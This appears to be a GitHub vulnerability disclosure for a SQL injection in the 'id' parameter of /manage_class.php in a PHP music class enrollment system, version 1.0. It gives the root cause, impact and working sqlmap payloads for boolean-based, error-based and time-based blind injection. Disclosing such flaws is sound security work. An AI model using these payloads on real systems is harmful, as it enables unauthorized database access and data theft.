



byxs0x0 Update SQL6.md

df17457 · last week



76 lines (53 loc) · 3.89 KB

Preview

Code

Blame

Raw



A SQL injection vulnerability exists in Music Course Registration system project V1.0 /manage_class.php

Vulnerability author:

wanglun

NAME OF AFFECTED PRODUCT

PHP music course registration system project

Vendor Homepage

<https://www.sourcecodester.com/php/15362/music-class-enrollment-site-phpoop-free-source-code.html>

VERSION:

1.0

Software Link

<https://www.sourcecodester.com/download-code?nid=15362&title=Music+Class+Enrollment+System+in+PHP%2FOOP+Free+Source+Code>

Vulnerable File

/manage_class.php

PROBLEM TYPE

Vulnerability Type

SQL injection

Root Cause

An SQL injection vulnerability was found in the /manage_class.php file of the Music Course Registration System project. The cause of the problem is that the attacker injects malicious code from the parameter "id" and uses it directly in the SQL query without proper cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized actions.

Impact

Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

During the security review of the Music Course Registration System, I discovered a serious SQL injection vulnerability in the file "/manage_class.php". This vulnerability stems from inadequate validation of user input for the 'id' parameter, allowing an attacker to inject malicious SQL queries. As a result, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial action is needed to ensure system security and protect data integrity.

Vulnerability details and POC

Vulnerability Location:

'id' parameter

Payload:

http://localhost:80/mces/admin/?page=classes/manage_class&id=4' AND (SELECT 8993 FROM (SELECT(SLEEP(5)))FvcJ) AND 'eYKe'='eYKe

Parameter: id (GET)

Type: boolean-based blind



Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=classes/manage_class&id=4' AND 4411=4411 AND 'coQB'='coQB

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=classes/manage_class&id=4' AND (SELECT 1734 FROM(SELECT COUNT(*),CONCAT(0x7178626a71,(SELECT (ELT(1734=1734,1))),0x7170787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ajTx'='ajTx

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=classes/manage_class&id=4' AND (SELECT 8993 FROM (SELECT(SLEEP(5)))FvcJ) AND 'eYKe'='eYKe

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

Payload: http://localhost:80/mces/admin/?page=classes/manage_class&id=4' AND (SELECT 8993 FROM (SELECT(SLEEP(5)))FvcJ) AND 'eYKe'='eYKe

